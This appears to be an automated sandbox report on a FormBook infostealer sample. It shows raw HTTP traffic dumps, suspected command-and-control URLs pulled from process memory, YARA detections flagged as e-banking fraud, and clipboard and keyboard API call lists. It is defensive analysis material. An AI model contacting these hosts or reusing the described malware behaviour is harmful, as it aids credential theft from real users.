6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 11 Jan 2025 05:56:50 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 11 Jan 2025 05:56:52 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 11 Jan 2025 05:56:55 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Sat, 11 Jan 2025 05:56:58 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
                Source: prevhost.exe, 00000005.00000002.2680734311.0000000005268000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2678541992.0000000003BD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://pku-cs-cjw.top/o8v1/?rH=aBBw/QY72agee
                Source: bxTTlfXQvBrtf.exe, 00000006.00000002.2680309136.000000000595C000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.vilakodsiy.sbs
                Source: bxTTlfXQvBrtf.exe, 00000006.00000002.2680309136.000000000595C000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.vilakodsiy.sbs/w7eo/
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: prevhost.exe, 00000005.00000003.1958011142.000000000789C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: prevhost.exe, 00000005.00000002.2676849342.00000000006D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: prevhost.exe, 00000005.00000003.1963539063.00000000078BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0030EAFF
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0030ED6A
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0030EAFF
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,0_2_002FAA57
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00329576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00329576

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1770842704.00000000047E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.2678354704.0000000002CE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: fqbVL4XxCr.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: fqbVL4XxCr.exe, 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_c4518e0b-1
                Source: fqbVL4XxCr.exe, 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_90b847a1-4
                Source: fqbVL4XxCr.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_5a7738d9-2
                Source: fqbVL4XxCr.exeString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_57a04605-e
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042CBE3 NtClose,2_2_0042CBE3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72B60 NtClose,LdrInitializeThunk,2_2_03A72B60
